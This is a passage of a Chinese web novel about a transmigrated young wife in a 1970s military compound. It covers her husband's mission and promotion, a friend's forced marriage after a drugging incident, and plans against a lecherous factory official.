“你给不给我打水?不给我打我自己去啦。”觅婉婉恼羞成怒地说,作势就要起身。
谢宴清按住她,“给。”
用凉水洗了个澡之后,觅婉婉摸摸额头,温度正常,药效已经过去了。
来到大厅,谢宴清已经做好了晚饭。他用砂锅炖了猪蹄,又用鸡蛋煎了刺龙芽。
看见刺龙芽,觅婉婉很高兴:“你在哪弄来的这个?”
刺龙芽稀少,又长在山的深处,前世的时候,已经炒出了很高的价格。
谢宴清给她夹了一块猪蹄,又夹了一些刺龙芽,“打野鸡的时候看到就顺便采了一些。”
猪蹄炖得软烂,混合着黄豆的酱香,觅婉婉吃了好几个。刺龙芽清爽,跟鸡蛋在一起也是绝妙的搭配。
一不小心,觅婉婉又吃撑了。
“你做饭的手艺这么好,再这么下去,我该担心的不是养身体,而是长胖了。”觅婉婉颇为怨念地对谢宴清说。
“无妨。今天的事情,太过危险,若是我没及时到,你怎么办?”周哲贪图的目光,谢宴清自然也看清了。
“我给那个混蛋一巴掌。”觅婉婉想起周哲打量她时露骨的目光就生气。
沉默片刻,谢宴清再次开口:“我要去出任务。”
“啊?”话题转的太快,觅婉婉一时没反应过来。
“部队是凭本事吃饭的,我若是能在行动中立功,就能升职。”谢宴清顿了一下,认真地看着觅婉婉,“升职后可以换大一点的房子,等变成团级,还能有两层的小楼。”
觅婉婉被他一本正经的样子弄懵了,半天说不出话来。
“到时,我想把我妈和妹妹接过来,可以吗?”说这话的时候,谢宴清垂下头,没有再看着她。
谢宴清这是不敢面对自己的拒绝?
觅婉婉笑了:“当然可以呀。最重要的是,你不要因为急着建功立业,不顾自己的安危。出任务的时候,一定要注意安全。”
“房子嘛,我会挣钱买的,到时候,咱们就去城里买个院子,两三层的那种,门前最好种好了大树......”
谢宴清又看向了觅婉婉,朝她坚定地点头:“嗯。”
他们这边一派和谐,畅聊着未来,有人却因为这场变故,人生轨迹就此改变。
19. 命运
只是今天的情景,让谢宴清很不放心,留觅婉婉一个人在家,如果周哲趁机对她做什么,岂不是糟糕。
“好啦,你放心出去,我等着你立功回来。”觅婉婉见他犹豫,安抚他说。
她是有点喜欢谢宴清,然而这份感情不是掣肘他们往前走的阻力。觅婉婉有解决问题的能力,她不愿做依附谢宴清的藤萝。
凌晨五点,军属大院一片漆黑,觅婉婉的房间依旧烛光闪烁,谢宴清将一捆蜡烛放在房间门前,悄声离开了军属大院。
此次行动是突击任务,行动的只有七人,王丘雨和赵天瑞也在内。谢宴清上了直升飞机后,目光一直停留在军属大院,看着它慢慢地变成一个小点,彻底消失后才收回目光。
“呦~谢哥,没想到嘛,有了媳妇之后很恋家呀,瞧你那恋恋不舍的眼神。”赵天瑞坐在谢宴清的左边,把他的举动尽收眼底,打趣说。
王丘雨撞了撞赵天瑞的胳膊,“你个单身汉懂什么,等你娶了个像嫂子一般,漂亮地跟天仙一样的媳妇,你比谢哥还舍不得离开家信不信?”
赵天瑞摸了摸鼻子:“我倒是想找,可我走遍十里八村,再来到部队,就没见过嫂子这般漂亮的,看来是没这个命咯!”
“你这人,我妈说了,找媳妇最重要的是品性相投,两情相悦。况且普通人家,若是娶了太漂亮的姑娘,保不住的话,会遭来灾祸的,正所谓红颜祸水。”王丘雨忍不住提醒赵天瑞。
谢宴清蹙起眉头,冷冷地看了一眼王丘雨。
王丘雨被他看的发怵,“谢哥,我不是说嫂子是祸水啊,再说,你又不是普通人。”不然王丘雨也不会一直跟着谢宴清混。
谢宴清的眉头依旧没有舒展开来,赵天瑞敏锐地察觉到不对,“是不是有人惦记嫂子,想对嫂子不利?”
放在以前,谢宴清是个心思极深的人,根本不会和任何人说起心事或者家里的事情,可事关婉婉的安危......
“周哲昨天想轻薄婉婉,这次出任务,不知道要多久回,我不放心她。”谢宴清到底还是说了。
“谢哥你放心,我知道你家里没人,嫂子又初来乍到,已经拖我妈没事的时候去看看嫂子了。”王丘雨听了,先是把周哲骂了一顿,随后让他放心。
没想到王丘雨已经提前做好准备,谢宴清沉默了一瞬,“谢谢。”
赵天瑞拍拍谢宴清肩膀:“谢哥,我呢,孤家寡人一个,自然是找不到人来帮你照顾媳妇。不过,行动的时候我会帮你建功立业的,哥们永远冲在你前面。”
谢宴清心中触动,面上依旧冷着,“那你别死了,我的目标高,要建很多功。”
“哈哈哈哈~”赵天瑞被他的话噎住了,王丘雨忍不住大笑起来。
军区家属大院,觅婉婉起床一推开房间的门,就发现了谢宴清留下的蜡烛。他应该是知道自己怕黑的事情了,只是没有多问,觅婉婉也没有做好准备,将自己为什么怕黑的事情告诉谢宴清。
吃好早饭后,觅婉婉踩着自行车去卷烟厂上班。整整一天,她都没有看到白良平和白霜儿兄妹两。
觅婉婉只以为他们因为昨天中药了需要休息,并没有将此事放在心上,很快将精力投入到工作中去。
种下的黄烟已经冒出嫩绿的芽儿,觅婉婉他们现在主要的工作是浇水、施肥,让黄烟更快地长大。
工作了一天之后,觅婉婉踩着自行车回军属大院,却在家门口看见了眼眶红红的白霜儿。
“婉婉。”白霜儿一见到她,眼泪就下来了。
觅婉婉下车,拉着白霜儿进了屋,“怎么了?”
白霜儿突然崩溃大哭,觅婉婉知道现在这个时候,白霜儿是没有办法说清楚事情的,于是就那么静静地陪着她。
不知过了多久,白霜儿的眼泪似乎流光了,终于冷静下来。
“我讨厌被人安排、无法掌控自己命运的感觉。”冷静下来后,白霜儿心如死灰地说出这句话。
白家突遭横祸,父母离世,家中亲戚算计,分明是想将他们兄妹两吃干抹净。尤其是白霜儿的婚事,更是遭到多方算计。
想占便宜的有,看上她样貌的有,人生百态,白霜儿早在那段时间看得清清楚楚。
可她不认命,凭什么就因为她变成孤女,就要任人摆布。白霜儿和哥哥拼命挣钱,想尽各种方法养活自己。
他们无权无势,无依无靠,白良平只能去没人去的卷烟厂工作。白霜儿每日在山中打转,寻找一切可以换钱补贴家用的东西。
有一次,白霜儿走得太远,甚至听得一声狼嚎,吓得她溃散而逃。她没有因此就放弃进山,因为放弃就意味着嫁人,意味着从此命运、生活皆不由自己。
最凶险的一次,是哥哥摔断了腿,为了救哥哥,白霜儿差一点就把自己嫁了。
幸好,他们找到了父母留下的祖传玉镯,偷偷去黑市卖了,哥哥的腿才保住。
昨天白霜儿和白良平去医院,本来一切都好好的,两个人分别去了不同的病房。不知道怎么回事,白霜儿醒来的时候,没有穿衣服,跟顾宁阳躺在一起。
“这一切看起来都是阴差阳错,可我却觉得,背后好像有一只无形的手,推动我跟顾宁阳在一起。”白霜儿说了很多,最后绝望地闭上了眼睛。
觅婉婉万万没想到,事情的发展会变成这样。这些日子以来,她没再见到白霜儿和顾宁阳碰见,以为书中的剧情会就此改变。
没想到,白霜儿和顾宁阳还是在一起了,以这样狗血戏剧的方式。
白霜儿睁开眼睛,“我哥说我魔怔了,哪有什么手。医院很多人看见我们睡在一起,我们要结婚。婉婉,你相信我的感觉吗?”
“我相信。”觅婉婉毫不犹豫地说,没有人比她更清楚这是怎么回事。
可是觅婉婉不能说,她也不能劝白霜儿不要跟顾宁阳结婚。因为在这个年代,发生了这样的事情,不结婚是不可能的。
““霜儿,改变命运很难,也许,我们需要再给自己和别人一些时间。””事已至此,再多安慰的话都已经失去了意义,觅婉婉只对白霜儿说了这一句话。
白霜儿擦干眼泪,朝觅婉婉笑了一下:“我明白了。”
“我今天做红烧肉,正好我爱人不在,你跟我一起吃了再走吧。发生天大的事情,也不能错过一日三餐。”白霜儿绝望中透着坚韧,让觅婉婉不忍就这样让她离开。
若是以往,白霜儿必然拒绝,她的自尊心不允许她吃别人的
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肉。可是今天,她没有经受住红烧肉的诱惑。
红烧肉色泽红润,肥瘦相间,肥而不腻,香甜松软,入口即化。白霜儿学着觅婉婉的样子,把酱汁浇在饭上,就着大块的红烧肉,酣畅淋漓地吃了一大碗饭。
“怎么样,吃饱了饭,是不是有力气反抗命运了?”觅婉婉看白霜儿脸色好了些,半开玩笑地问她。
白霜儿点点头,“我觉得,我的命运又在自己手里了。”
此情此景,让觅婉婉觉得特别像大学时去蹭的哲学课,笑着回答:“你的命运一直在自己手里。”
本来听白霜儿说了这些事情,觅婉婉的心情是有些沉重的,为她不能摆脱命运的捉弄,为这个时代和白霜儿一样,没有选择的女人。
可是现在,觅婉婉的心情又好了起来,因为她在白霜儿身上看到了坚定。
白霜儿,不会任由命运摆布。
军属大院顾家,顾宁阳跪在大厅中,顾大勋正拿鞭子抽他。
“老头子,你别在抽了,难道你要把阳儿抽死吗?他可是你唯一的儿子!”孙云看到顾宁阳后背已经皮开肉绽,心疼地说。
顾大勋怒不可遏:“抽死他算了,省的他以后再做出其他缺德的事情。这婚,你结也得结,不结也得结,已经由不得你了。”
“凭什么,这就是一个意外,我有喜欢的人!”顾宁阳龇着牙反抗。
顾大勋气的又抽了他几鞭子,顾宁阳的惨叫声响彻大院。
“都什么时候了,你少说两句。”孙云斥责他。
顾宁阳有心上人这件事,孙云是知道的,女方谷双玉刚考上省城师范大学,正在省城读书。
谷双玉上大学这件事情,还是孙云背着顾大勋安排的。正因为如此,孙云和顾宁阳才会着急调回省城的事情。
但这些事情不能让顾大勋知道,他最讨厌官场上的交际,要是让他知道孙云他们以权谋私,只怕顾大勋真的会打死顾宁阳。
“你给我去外面跪着,什么时候想通了什么时候起来。”顾大勋打累了,加上顾宁阳高分贝的嚎叫,吵得他耳朵疼。
顾宁阳一声不吭地起身,到院子里跪着。
等顾大勋上楼之后,孙云拿着药来帮顾宁阳上药。
“妈,我真的不想跟白霜儿结婚。昨天晚上,我不小心中药了,才发生这种事情的,双玉还在城里等我呢。”
孙云叹了一口气,身为母亲,她是有私心的,自然希望顾宁阳能娶谷双玉,但她也没办法说出让顾宁阳不跟白霜儿结婚的话,这跟你杀了白霜儿没什么两样。
她的这双手,救过很多人,唯独没有杀过人。“不管怎样,你先在老实跪着,一切明天再说。”
顾宁阳见孙云没有应他,心中焦急,如果连妈都不帮自己,那就完蛋了,却也没法说什么,只好垂头丧气地跪着。
跪了一夜,天蒙蒙亮的时候,顾宁阳被外面的敲门声吵醒,膝盖已经跪得酸疼僵硬,他踉踉跄跄地跑去开门。
一开门,就被吓了一跳,白霜儿拿着一把锋利的菜刀,以迅雷不及掩耳之势抵住了他的脖子。
感受着菜刀从脖子上升起的寒气,顾宁阳吓得大气不敢出,“你...你干什么,你要杀人啊,你别乱来啊。”
20. 工资
“我们之间的事,你打算怎么处理?”白霜儿不理会顾宁阳的话,单刀直入地问。
“那就是个意外,你不喜欢我,我也不喜欢你,难道我们还要结婚?”虽然顶着菜刀,但顾宁阳仍然觉得,结婚是不可能结婚的。
白霜儿看着眼前完全没有意识到事情严重性的男人,强忍着眼中的泪,不让它留下来。
“你一句意外,就可以轻易毁了我的下半生。”
“我不管你怎么想的,事情已经发生了,你就必须给我负起责任来。”
白霜儿的目光变得格外凶狠,“否则,否则我就在这里死给你看,血溅当场!”
她收起菜刀,转而对向自己的脖子,“反正迟早我也活不成,长痛不如短痛,不如在这里结果了。”
顾宁阳彻底慌了,他万万没想到白霜儿的性子这么强烈,忙劝阻道:“好好好,我负责,你先把刀放下。”
这时,顾大勋和孙云听到动静,也从屋里出来,看到这个场景,俱吓了一跳。
“姑娘,有事好商量,你把刀放下,咱们进屋里谈。”孙云想要上前把她的菜刀拿下来,白霜儿警惕地后退了几步。
顾大勋神色庄严肃穆地说:“你放心,我们顾家一定会给你一个交代的。”
他严肃起来的时候,周身那种久居高位的霸气就溢出来,很容易让人信服,白霜儿这才任由孙云把刀拿过去。
有了给谢宴清张罗婚事的经验,顾大勋很快就把白霜儿和顾宁阳的婚事给办妥了。彩礼什么的都比照给谢宴清的来,日子定在两天后。
期间,顾宁阳几次想站出来说话,对上白霜儿吓死人的视线,又缩回去了。
说定之后,顾大勋一家人亲自登门向白良平求亲,这件事情总算有了一个解决。
“霜儿,你真的要嫁吗?”顾家人走后,白良平不无担心地问。
白霜儿:“哥,这是目前我能想到的最好的办法了。况且,结婚并不能决定我以后的生活,我能把日子过好的。”
白良平红了眼眶,轻轻抱住白霜儿:“是哥哥不好,没有看住你。”
“不是哥哥的错,前路还长,是福是祸还不知道呢。”白霜儿轻轻拍了拍哥哥的后背,安慰他。
顾宁阳和白霜儿结婚的事情军属大院引起了轩然大波,毕竟无数家属想让顾宁阳当自家的女婿,无数少女想嫁给顾宁阳这样家世好、模样又好的郎君。他这一结婚,不少人的梦就碎了。
其中反应最大最明显的要数杨月苓,她闹着要去找白霜儿算账,甚至想要跟顾宁阳私奔。
杨博才好说歹说,杨月苓就是不听,他只好把杨月苓关在房间里,不让她出门。
可一向骄纵的杨月苓这次却铁了心要破坏顾宁阳和白霜儿的婚姻,甚至说出愿意跟白霜儿共事一夫的话。
“我不是去拆散他们的,我是去加入他们的!”杨月苓振振有词,觉得自己的想法完全没问题。
杨博才头疼地厉害,折腾了几天后,不知怎么的就想起了觅婉婉。
“婉婉啊,就当叔叔求你帮个忙,你去劝劝苓苓吧,兴许她能听进你的话。”杨博才面露憔悴,显然是为这件事情伤透了脑筋,鬓边白发看着都多了些。
觅婉婉直觉杨月苓不会听自己劝说,毕竟她也被杨月苓的“加入”说法震惊到了,恋爱脑恐怖如斯。
拿人家手短,吃人家嘴软,杨月苓送了自己那么多东西,觅婉婉自然不能对她见死不救。
杨家是两层的小楼,杨月苓住在二楼东南方向的房间,穿着睡衣,头发披散在肩头,脸上苍白而憔悴。
看见觅婉婉过来了,赌气地转过头,“我爸找你来劝我的?”
觅婉婉不接她的话,笑道:“我们大小姐好像变丑了呢。”
“你说真的?”杨月苓立马扭过头,紧张地问。
觅婉婉拿过她房间的梳妆镜给她看,“喏,你自己看看。”
“啊!本小姐不能变丑。”看到镜子中的脸,杨月苓下意识捂住自己的脸,惊呼道。
觅婉婉拿起梳子帮她梳头,“可不是,咱们大小姐这么漂亮呢,变丑了多可惜,一会洗把脸,喝点骨头汤,好好补补气色,瞧这小脸苍白的......”
从头到尾,觅婉婉没有劝过杨月苓一句,也没有提起任何关于顾宁阳的事情。
直到杨月苓喝了骨头汤,又吃了点东西,沉沉地睡下之后,觅婉婉才离开她的房间。
看见杨月苓吃了东西睡下,终于消停了一会,杨博才对觅婉婉露出感激的笑容:“对亏有你,真是谢谢你了,婉婉。”
觅婉婉:“杨叔叔,我没有劝月苓任何关于顾宁阳的事情。杨叔叔,我想没有任何人比您更合适劝月苓这件事情了。而且,您比我更有办法能劝动月苓,不是吗?”
杨博才在部队身居高位,并且在□□中屹立不倒,没有遭到清算。觅婉婉不相信他只是一个四肢发达、头脑简单的武夫,如果他是,这十年间早就不知遭受了多少磨难,怎么能全须全尾地站在这里。
这样的一个人,从理论上、从战略上,都会比觅婉婉更有办法劝杨月苓回头。
“婉婉聪慧,是叔叔糊涂了。”杨博才先是惊讶于觅婉婉的通透,回过神来后自嘲一笑。
点到为止,觅婉婉没有多说,骑车去溪城卷烟厂上班。
“你们听说了吧,咱们厂新来的女工白霜儿,跟部队顾军长儿子结婚了,这可真是山鸡变凤凰啊!”
“谁说不是呢,白家就是普通的农村人家,她这一嫁,可是飞上枝头,怕是不会再来我们厂上班。”
“女孩子嘛,漂亮就是本钱,人白霜儿长得如花似玉、我见犹怜的,军长的儿子心动也正常。”
“要说漂亮,我觉得最开始来的觅婉婉才漂亮呢,可惜她只嫁了个普通军人。”
溪城卷烟厂的工人也在热烈讨论白霜儿和顾宁阳的事情,毕竟这个时代没有电视手机什么的,大家传递信息全靠一张嘴。加上娱乐活动少,骤然出现这样一件新奇的事情,大家免不了津津乐道。
觅婉婉听了一耳朵之后,并不加入聊天,扛着锄头默默上了山。
上山后,白良平已经来上班,不见白霜儿,两人见面后互相朝对方点了点头算是打招呼,就开始各忙各的工作了。
黄烟已经长出了好几厘米,嫩绿色的芽慢慢舒展开来,有些已经长出了小小的叶子。觅婉婉看着它们一点一点地长大,内心欢喜,干活也就更加用心。
一切如常,唯有叶芳菲,觅婉婉好几次看见她红着脸偷笑,一
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看就是妙龄少女坠入爱河的样子。她不由得怀疑,叶芳菲前天晚上不会也阴差阳错地得手了吧?
再看看白良平,神色如常、一脸平静,两个人离得远,第一次一天下来都没交集,要是得手了不该是这种表现啊。
没发生这件事情之前,叶芳菲每天都要缠着叶良平,叶良平躲都躲不掉,今天倒是很反常。
下班之后,觅婉婉很快就把这件事情放下,她要想的是今天晚上吃什么。
不得不说,这个时代的下班时间很任性。四点多就下班了,虽然每周只休息一天,但每天自己可以支配的时间很多。
前世觅婉婉是个十成十的社畜,早出晚归,加上地铁通勤,一天上班要花掉十几个小时。至于周末,名义上是有的,只是要义务加班而已。
有了更多的时间,觅婉婉就想多花点心思在吃上面。
腊肉和腊肠都已经挂在灶上风干,还剩下点野猪肉不能久放。觅婉婉把最后两根骨头炖了汤,五花肉剁了馅,再去山脚下挖了一把野葱回来,切碎放进馅里,包了五十多个饺子。
饺子包好后骨头汤正好熬成,觅婉婉开水下了饺子后,在碗底放了葱花、盐、一点辣椒面,盛上半碗骨头汤,再放入煮好的饺子。
一碗饺子下去,觅婉婉自是心满意足,只是来到这里之后,她一直是跟谢宴清一起吃饭的。如今一个人了,有点不习惯,饺子和骨头汤也剩了一半。
如果谢宴清在就好了,他们刚好可以把这些吃完。
第二天是溪城卷烟厂休息的日子,同时也是觅婉婉第一次领工资。
溪城卷烟厂最近几年效益不好,工人工资只有二十四元一个月,刚进来的工人第一年则只有二十元。
发工资的日子,财务室门口大排长龙,觅婉婉随便跟了一队排在后面。周哲负责发工资,正好是叶芳菲拿工资,只见她拿了工资之后,对周哲露出一个羞涩的微笑,然后低着头跑了。
觅婉婉:???
叶芳菲这是攻略白良平不成,改投周哲了,不是,这眼光也忒差了点。
等到觅婉婉拿工资的时候,周哲将二十元钱不动声色地递给觅婉婉,面上微笑着,一双眼睛却眯起,时不时扫过觅婉婉的胸前。
他的目光隐晦,觅婉婉敏锐地捕捉到,只觉一阵恶心,看来要赶紧制定除掉周哲的计划,这个人,她一分钟都不想再看到。
不管怎样,拿到工资,觅婉婉还是高兴了一阵。高兴完之后,就觉得靠工资养活自己不成问题,想要买房什么的就不现实了。
不管在哪个时代,买房对于普通人来说都不是件容易的事情,觅婉婉决定趁休息的时候看看有没有其他增加收入的办法。
回家属大院的路上,觅婉婉遇见了杨博才得小轿车。
“婉婉,今天休息啊,我带苓苓回老家一趟。”杨博才远远地看见觅婉婉骑自行车过来,让司机停下车,打开车窗笑着对觅婉婉说。杨月苓坐在后面,满脸的不乐意。
觅婉婉:“祝你们一路顺风。”
看杨博才的样子,觅婉婉知道他已经想到办法让杨月苓回头,一颗心彻底放下来。
回到家中,觅婉婉刚放下车,看到从屋里出来的人,眼睛一亮,小跑到他跟前:“谢宴清,你回来啦!”
21. 醋了
“嗯。”谢宴清淡淡地应一声,望向眼前人的目光却分外柔和。
觅婉婉开心地跟他分享:“我今天发工资啦,我们去县城逛街,吃好吃的。”
谢宴清:“我在行动中立了功,部队拟我升为正排职。”
“我就知道你肯定行的,那就更要庆祝了,咱们去国营饭店吃好吃的。”对于谢宴清能升职,觅婉婉好不意外。
原书中谢宴清一直是个普通的军人,后来甚至犯了事被部队开除。但觅婉婉一直认为,谢宴清没有升职,只是因为他不想升。
以谢宴清后来地狱开局却能绝地反击的能力来看,他年轻时绝不是泛泛之辈,至于他在原书中为什么不愿意升职,觅婉婉就不得而知了。
原书除了狗血、离谱之外,大部分的篇章都给了男女主,其他的配角,包括谢宴清这个反派大佬在内,都是工具人,基本没给什么详细信息。
谢宴清看到觅婉婉眼中的笃定,终于升起一丝的怀疑。她的信任不似作伪,更重要的是,一贯如此。
初相识时是如此,彼此有好感之后更是如此,仿佛她早就知道自己能做出什么成绩,是一个什么样的人。
反观自己,谢宴清发现自己对觅婉婉好像很了解,好像又不了解,她身上有一个神秘的地带,谢宴清始终无法探究。
“怎么了?”觅婉婉见谢宴清一直盯着自己看,疑惑地问。
“没什么,我们走吧。”谢宴清收起脑海中万千的思绪,骑上自行车就要带觅婉婉去县城。
“等一下呀,我去换件衣服。”
好不容易放假,又是出去逛街,觅婉婉自己要穿得漂漂亮亮的。她拿出杨月苓送她的黑色伞裙,搭配上在林奶奶那做的暗红色衬衫,齐肩的长发编成两条麻花辫。
照照镜子,十八九岁的年纪,眉不点而翠,唇不点而红,脸若银盘,眼如星子。美好的年纪,青春靓丽的容颜,觅婉婉满意地走出院子,在谢宴清面前转了一个圈。
“好看吗?”
“好看。”谢宴清目不转睛地看着她,直看的觅婉婉都有点害羞。
去县城的路上,两人吸引了不少人的注意力,谢宴清俊美,觅婉婉靓绝,回头率堪比明星。
觅婉婉知道自己和谢宴清长得不错,没想到这么不错。
“谢宴清,你后不后悔跟我结婚呀?你看,这么多人在看你,我刚刚还看见好几个气质很好,穿着不俗的姑娘一直瞧你呢。”她半开玩笑地问谢宴清,说到底,觅婉婉心里是没底的。
她在谢宴清尚未展露能力的时候嫁给了他,可是以后呢,当他变成那个无所不能的大佬的时候,一切会不会不一样。
觅婉婉从来不知道,喜欢一个人会变得忐忑,会勾出心中的自卑和不安。早知道,就不要喜欢谢宴清了。
“嘎吱!”
自行车猛地停下,觅婉婉地头一下就撞在谢宴清的后背。
“你后悔了?”谢宴清没有回头,语气低沉地问她。
不用看他的表情,觅婉婉也知道,谢宴清的反应极大,他骑车做事一向冷静,急刹车这种事情,轻易不会出现。
“现在没有,以后说不定,毕竟我看起来也很招人喜欢。”
谢宴清下车,转过身道:“你这身衣服,以后不许穿了。”
“为什么?我这衣服好看着呢。”觅婉婉下意识地反问,很快反应过来谢宴清这是醋了,忍不住笑,“我们拉钩,对婚姻要有责任感,不论以后发生了什么,不要做对不起对方的事情,好不好?”
谢宴清紧张的神色瞬间缓和:“好。”
等谢宴清继续骑车载着她往前走,觅婉婉靠在谢宴清的背上偷笑,不是她一个人担心就好。
觅婉婉在国营饭店点了二两阳春面,一份手抓羊排,谢宴清则是点了两个大肉包和一盘卤牛肉。
牛羊肉在这个时候是很稀缺的,国营饭店也没有每天供应,觅婉婉他们刚好碰上,毫不犹豫就点了。
因为谢宴清会去山上打猎,他们并不缺油水,但牛羊肉还是稀罕的。更何况这个年代的国营饭店量非常实在,满满一大盘的羊排和卤牛肉。
虽然花了八块钱,觅婉婉仍旧觉得很值。
吃完饭之火,觅婉婉就想去国营裁缝店做一套衣服。她的衣服不多,要一套一套地慢慢添。
“你也去量量尺寸,做一套。”觅婉婉拉着谢宴清往裁缝店走去。
县城的百货大楼觅婉婉陪杨月苓逛了很多次,里边的衣服放在现在来说可以算是洋气。但觅婉婉不太喜欢那些衣服的质地,多数是化学面料,硬邦邦地,穿起来不舒服。
觅婉婉前世工资涨起来之后,穿过很多贵衣服,如今不追求价钱昂贵的衣物,主要以舒适为主。
他们一进店,店里的裁缝就热情地上前:“两位想要做什么衣服?”
做裁缝的,最喜欢觅婉婉和谢宴清这种长得好看,身材又标准的顾客,那简直是天生的衣架子。
试问哪个裁缝看见自己的衣服穿在人身上,跟模特似的,漂漂亮亮,能不高兴呢。
觅婉婉:“我想用棉布做一件衬衫和裤子,他也是。”
“好嘞,按照规矩,布票一米八,工费十元。”
听到要布票,觅婉婉顿住了,她只有钱,没有布票,忘了这是一个衣食住行,样样都要票的时候了。
粮票还好,觅鸿晖把家中大部分的粮票都留给了她,布票家中本来就少,觅婉婉自然拿不出。
这时谢宴清拿出一沓布票,挑了几张给裁缝,又给了十元钱。
“你好多布票啊。”觅婉婉惊叹,看着谢宴清的眼神像是在看一个土豪。
“我没做过衣服。”部队每个月都会发布票,谢宴清一张都没用过,家中母亲会养蚕织布,不需要他的票,攒着攒着就多了,谢宴清把剩下的票都给了觅婉婉。“想做衣服或者买衣服就拿去用。”
穷人乍富,觅婉婉还没缓过来,又听说谢宴清的妈会养蚕织布,那
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可是桑蚕丝面料,做出来衣服最舒服。
“咱妈可真厉害。”觅婉婉感叹说,如今棉布大多是用机器生产的,蚕丝面料因其昂贵性,暂时没有普及,只有少量工人手工织。
即便是在科技发达的后世,桑蚕丝面料在制作方面,对技术的要求也是很高的,因为它质量上乘,一个不小心,就会被破坏,坏了之后也极难补上。
“家中传下来的手艺,我们家以前是卖绸缎衣物的,没落之后,财富没留住,手艺留下了,妈和妹妹都会织布和苏绣。”谢宴清淡淡地说。
近些日子以来,谢宴清渐渐会跟觅婉婉说家里的事情了,而且说完之后,总是会略带紧张地观察觅婉婉的反应。
觅婉婉没有察觉到谢宴清的异常,她只觉得敬佩,那可是苏绣。前世觅婉婉在博物馆看过手工的苏绣,美轮美奂,无论是山水风景还是小动物都活灵活现。
最重要的是颜色鲜艳,色彩搭配极好,仿佛一卷名画。
“有这么牛逼的妈和妹妹,你竟然不让她们给你做衣服,天天穿军装。”觅婉婉羡慕的同时谴责谢宴清,如果是她妈和妹妹,她是绝对不会穿外面的衣服的。
就好比家中天天都有山珍海味,谁还看得上外面的杂食?
谢宴清嘴角微微勾起:“嗯。”
他握着觅婉婉的手悄悄收起,天色尚早,两人一起去电影院看了个电影。
觅婉婉对这个时代的电影兴趣不大,但这是跟谢宴清一起看的,她看的心情不错,毕竟是第一次跟谢宴清约会。
从电影院出来,人群熙熙攘攘,觅婉婉一眼看到了一个熟悉的人,觅桂兰。
觅桂兰正在电影院对面的旅馆旁边蹲着,看着旅馆的门一动不动,不知道盯什么。
略一思索,觅婉婉拉着谢宴清躲在电影院旁边的柱子后面,她直觉觅桂兰出现在这里,跟周哲有关。
其实要除掉周哲,最重要的就是把他的后台,也就是他爸给除了。觅婉婉算过时间,现在还不到清算的时候,周哲的父亲周显鑫一手遮天,她想要对付周显鑫有难度,只能从周哲本身入手。
过了一会儿,旅馆走出来一个年轻男人,不知道对觅桂兰说了什么,觅桂兰跟着他进了旅馆,在旅馆大厅的东边坐下,
接着,那人又给觅桂兰端来茶水和瓜子,两个人坐在一起嗑瓜子聊天。
“有点不对。”看了一会儿,谢宴清突然道。
觅婉婉也觉得不太对劲,莫名其妙地出来一个男人把觅桂兰请去喝茶。
“去旅馆的后门。”谢宴清当机立断,拉起觅婉婉的手,找旅馆的后门。
绕着旅馆走了半圈之后,他们顺利找到旅馆的后门,找了个隐秘的位置观察。
很快,周哲行色匆匆地从后门走出来。紧接着,叶芳菲也从后门走出来。
她的发丝凌乱,衣裳的扣子也扣错了一颗,脸上尚余一丝潮红未散去,出了旅馆之后,叶芳菲四处张望了一番,慌慌张张地离开。
22. 信任
看到叶芳菲出来,觅婉婉吃了一惊,回想起昨天叶芳菲的反常表现,觅婉婉荒唐之余又找到了一丝合理性。
“你认识她?”谢宴清观觅婉婉似乎认识后面出来的女人,问道。
觅婉婉:“她是我的同事,叫叶芳菲。”
原本觅婉婉以为叶芳菲跟自己一样,是穿过来的,看上了白良平的前途,才想着嫁给现在一无所有的白良平。
但现在却又有些拿不准了,如果叶芳菲是穿过来的,不会不知道周家倒台在即。在这个时候跟周哲纠缠不清,这不是找死呢。
更何况,周哲是有妇之夫,叶芳菲一个没结婚的小姑娘,跟周哲做这种事情,一旦败露,迎接叶芳菲的就是灭顶之灾。
否则,白霜儿也不会被形势所迫嫁给顾宁阳。
“我去举报周哲。”回到家后,谢宴清主动提出。
“不行。”觅婉婉拒绝,一旦举报,这件事情极有可能被周显鑫压下。就算有处罚,有周显鑫在,只怕也会对周哲从轻发落。
况且,举报之后,他们大概率会被报复,得想个万全之策。
可觅婉婉不会什么都不坐,等着周家倒台之后再解决周哲。不然半年的时间,周哲还不知要祸害多少姑娘。
“谢宴清,你相信我吗?”她心中打定了主意,对谢宴清说。
谢宴清没想到她会这么问,沉吟片刻,“信。”
觅婉婉:“你信的话就把这件事情交给我,我也相信你,周显鑫交给你处理。”
“你觉得我能对付周显鑫?”谢宴清挑挑眉,觉得她也太看得起自己了。
目前看起来谢宴清和周显鑫的差距是比较大,不过,觅婉婉知道,谢宴清自有他的手段,笑道:“我觉得你能。”
谢宴清不置可否,其实,他知道顾大勋、杨博才和钱叔叔已经在着手准备对付周显鑫。在周哲没有对觅婉婉意图不轨前,谢宴清是不打算插手这件事情的,如今看来,他需要去添一把火才行。
普市城东的一个小院子里,杨月苓如遭雷击,心脏狂跳不止,难以相信自己刚刚看到的场景。
他们刚刚去拜访了堂哥一家,杨博才的堂哥杨博文现在是普市革会的头头,论地位,比杨博才还高。
幼年的时候,杨博文家中给他养了个童养媳,十八岁的时候两人成亲,生下一儿一女。后来杨博文外出从军,回来的时候就带回一个城里的姑娘。
那姑娘家中条件富裕,又是独女,父母自然不同意。可那姑娘爱惨了杨博文,不顾他家中已有妻女,声称杨博文之前的婚姻是包办婚姻,他们才是真爱。
后来,他们领了证,可杨博文不能不管先前的妻子和一双儿女,他们就这样生活在了一起。
杨月苓去他们家看到的,就是杨博文一家鸡飞狗跳的生活。那姑娘后来也生了一男一女,原先的妻子和一双儿女痛恨他们夺走了父亲,后来的姑娘和儿女怨怼前妻的不放手。
更让杨月苓震惊的是后来追求真爱的姑娘如今的状态,四五十岁的人,憔悴空洞地像六七十岁的老人。
最重要的是,那姑娘在漫长的岁月中,似乎完全磨灭了对杨博文的爱。即便是刚才有杨博才母女在,她也毫不掩饰自己的算计。
杨月苓不明白,为什么真心相爱的婚姻走到老年,会是这个样子。
“苓苓,我想让你看见的,你都看见了。如果你能忍受你几十年以后得生活,像你大伯家一样,那你现在就他们家住一段时间,正好提前感受一下你即将到来的婚姻生活。”杨博才一反平常宠爱女儿的样子,变得异常严肃。
“年轻时真心爱慕你堂伯父的那个姑娘,如今是何模样你也看清楚了。这么多年来,她只有对你堂伯父的一腔真情。可你堂伯父呢,他有前头的妻子和子女,有自己的工作和事业。她为什么脸上全是空洞和茫然,因为她发现她追求的所谓真爱根本就不存在!”
杨月苓被杨博才的最后一句话吓了一跳,整个人都有点瑟缩。
